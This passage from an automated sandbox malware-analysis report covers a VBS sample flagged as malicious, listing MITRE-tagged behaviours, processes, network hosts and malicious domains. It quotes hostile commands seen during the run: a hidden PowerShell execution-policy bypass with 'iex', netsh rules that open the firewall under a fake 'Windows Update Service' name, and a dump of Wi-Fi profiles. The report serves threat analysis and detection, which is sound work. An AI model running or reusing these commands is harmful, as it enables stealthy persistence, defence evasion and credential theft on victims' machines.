\"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found string \"DisableBehaviorMonitoring\" (Indicator: \"disablebehaviormonitoring\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found string \"DisableBlockAtFirstSeen\" (Indicator: \"disableblockatfirstseen\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00004040.00000000.152403.9C100000.00000004.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\NETSH.EXE\"; Value: \"88178939AAD1DC010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"WScript.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"netsh.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$50","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"DominicanSymptomInsectsDeclare.vbs\" - Location: [%LOCALAPPDATA%\\SpermshackBeginnersDinosaursAustraliansOccasions\\DominicanSymptomInsectsDeclare.vbs]- [targetUID: 00000000-00004040]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004040]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4040)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/27 Antivirus vendors marked sample as malicious (3% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"\"GET /line/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nCache-Control: no-cache\" Response ==> HTTP/1.1 200 OK\nDate: Tue\n 21 Apr 2026 09:12:54 GMT\nContent-Type: text/plain; charset=utf-8\nContent-Length: 3\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>55530A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"General","name":"Uses PowerShell to run commands or expressions","description":"Process \"powershell.exe\" with commandline \"-w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"\" (UID: 00000000-00004040)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":3,"id":"target-312","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 137.184.88.100 on port 443 is sent without HTTP header\n TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for null IAT Directory of PE process \"00000000-00004040\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00004040)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access/write temporary files","description":"Process \"%WINDIR%\\SYSTEM32\\cmd.exe\" with commandline \"/c chcp 65001 >nul && netsh wlan show profiles > \"%TEMP%\\\\wifi_profiles.tmp\"\" (UID: 00000000-00008164)","origin":"Monitored Target","mitre_attack_id":"T1074.001","relevance":5,"id":"target-423","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_u3rhx0qy.y32.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xmewtbhb.ifa.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_u3rhx0qy.y32.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xmewtbhb.ifa.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"System Security","name":"Able to modify firewall settings","description":"Found string \"netsh advfirewall firewall add rule name=\"Windows Update Service\" dir=out action=allow program=\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" enable=yes\" (File: \"netsh.exe\")\n Found string \"netsh advfirewall firewall add rule name=\"Windows Update Service Host\" dir=in action=allow program=\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" enable=yes\" (File: \"netsh.exe\")\n Found string \"netsh advfirewall firewall add rule name=\"Windows Update Service Host\" dir=in action=allow program=\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" enable=yes\" (Source: \"00000000-00003624.00000000.153662.4A9C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.004","relevance":1,"id":"string-676","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$51","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Detected system process execution without parameters (likely process injection)","description":"Process \"regasm.exe\" with commandline \"\" [UID: 00000000-00001224]","origin":"Monitored Target","mitre_attack_id":"T1218","relevance":7,"id":"target-503","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behaviors","description":"The script produces internet activity. Is obfuscated and/or drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Uses powershell to invoke an expression using an environment variable","description":"Process \"powershell.exe\" with commandline \"-w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"\" (UID: 00000000-00004040)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":10,"id":"target-53","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"\" - (UID: 00000000-00004012)\n \"powershell.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" - (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a system process in suspended mode (likely for process injection)","description":"\"powershell.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" - (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-134","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"$52","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"regasm.exe\" connects to 208.95.112.1:80","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Installation/Persistence","name":"Tries to use windows logon scripts to establish persistence","description":"\"powershell.exe\" (Path: \"HKCU\\ENVIRONMENT\"; Key: \"USERINITMPRLOGONSCRIPT\"; Value: \"wscript.exe \"%LOCALAPPDATA%\\SpermshackBeginnersDinosaursAustraliansOccasions\\DominicanSymptomInsectsDeclare.vbs\"\")","origin":"Registry Access","mitre_attack_id":"T1037.001","relevance":7,"id":"registry-90","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$53","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"setupwizarddesk.top\" has been identified as malicious\n Contacted Domain: \"larmenty.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 107.172.135.18 on port 4449","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"Process \"powershell.exe\" with commandline \"-w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"\" (UID: 00000000-00004040)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"System Security","name":"Modifies firewall settings","description":"Process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service\" dir=out action=allow program=\"%WINDIR%\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\regasm.exe\" enable=yes\" (UID: 00000000-00004156)\n Process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service Host\" dir=in action=allow program=\"%WINDIR%\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\regasm.exe\" enable=yes\" (UID: 00000000-00003624)","origin":"Monitored Target","mitre_attack_id":"T1562.004","relevance":8,"id":"target-15","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$54","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}],"incidents":[{"name":"Persistence","details_count":4,"details":[{"detail":"Creates new processes"},{"detail":"Spawns many processes"},{"detail":"Modifies firewall settings"},{"detail":"Tries to use windows logon scripts to establish persistence"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Attempts to identify external IP address"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Retrieves system network configuration using netsh utility"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}]},"activity":{"stats":{"process_count":8,"spawned_processes_count":8,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":34,"imported_dlls_count":184,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":16,"files_deleted_count":0,"registry_keys_created_count":11,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["new_domain","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69e73f6981fb624b4c0e957d","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Agent.CRT","contacted_countries":["USA"],"submit_name":"Green Riyadh Uraija-PR.vbs","analysis_start_time":"2026-04-21T09:12:11+00:00","indicators_count":{"informative":197,"suspicious":49,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"137.184.88.100","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"address":"208.95.112.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"address":"107.172.135.18","port":4449,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}],"dns_resolutions":[{"domain":"ip-api.com","address":"208.95.112.1","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"domain":"pwndrop.setupwizarddesk.top","address":"137.184.88.100","ttl":3600,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"domain":"www.larmenty.com","address":"107.172.135.18","ttl":21600,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}],"http_requests":[{"host":"ip-api.com","host_ip":"208.95.112.1:80","url":"/line/?fields=countryCode","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /line/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}],"processes":[{"pid":4012,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\GreenRiyadhUraija-PR.vbs\"","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00004012","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":4040,"ppid":4012,"name":"powershell.exe","command_line":"-w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004012","uid":"00000000-00004040"},{"pid":1224,"ppid":4040,"name":"regasm.exe","command_line":"","sha256":"1e9516da2ded24d635f5fab0347d34ceb76e50b2a015ebb1ee3b8ee69de5faae","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe","parent_uid":"00000000-00004040","uid":"00000000-00001224"},{"pid":4156,"ppid":1224,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"Windows Update Service\" dir=out action=allow program=\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" enable=yes","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\SYSTEM32\\netsh.exe","parent_uid":"00000000-00001224","uid":"00000000-00004156"},{"pid":3624,"ppid":1224,"name":"netsh.exe","command_line":"netsh advfirewall firewall add rule name=\"Windows Update Service Host\" dir=in action=allow program=\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" enable=yes","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\SYSTEM32\\netsh.exe","parent_uid":"00000000-00001224","uid":"00000000-00003624"},{"pid":8164,"ppid":1224,"name":"cmd.exe","command_line":"/c chcp 65001 >nul && netsh wlan show profiles > \"%TEMP%\\wifi_profiles.tmp\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00001224","uid":"00000000-00008164"},{"pid":4636,"ppid":8164,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00008164","uid":"00000000-00004636"},{"pid":7396,"ppid":8164,"name":"netsh.exe","command_line":"netsh wlan show profiles","sha256":"41100c756bc97ffca70a69d18c4440d446bad9a876ff4f3d52210dd0bdaee014","normalized_path":"%WINDIR%\\system32\\netsh.exe","parent_uid":"00000000-00008164","uid":"00000000-00007396"}],"all_imported_dlls":["windows.storage.dll","MpClient.dll","clrjit.dll","Microsoft.PowerShell.Security.ni.dll","msasn1.dll","Windows.StateRepositoryPS.dll","System.Numerics.ni.dll","dhcpcsvc.dll","rasapi32.dll","IPHLPAPI.DLL","dnsapi.dll","rasadhlp.dll","edputil.dll","ucrtbase_clr0400.dll","WiFiDisplay.dll","dmcmnutils.dll","gdi32.dll","sechost.dll","fltLib.dll","rtutils.dll","schannel.dll","wshext.dll","msxml3.dll","netshell.dll","fsutilext.dll","bcryptprimitives.dll","mscoreei.dll","System.DirectoryServices.ni.dll","FirewallAPI.dll","devobj.dll","vbscript.dll","System.Configuration.ni.dll","ntasn1.dll","fwcfg.dll","activeds.dll","VxSSL64.dll","userenv.dll","iertutil.dll","System.ni.dll","winmmbase.dll","dpapi.dll","mfc42u.dll","httpapi.dll","KernelBase.dll","msvcrt.dll","amsi.dll","cfgmgr32.dll","powrprof.dll","urlmon.dll","nshwfp.dll","p2pnetsh.dll","scrobj.dll","System.Management.Automation.ni.dll","mintdh.dll","ntdll.dll","clr.dll","mscorlib.ni.dll","P2P.dll","wwapi.dll","PeerDistSh.dll","oleaut32.dll","9P2Rg7Fo.dll","imagehlp.dll","System.Management.ni.dll","adsldpc.dll","kernel32.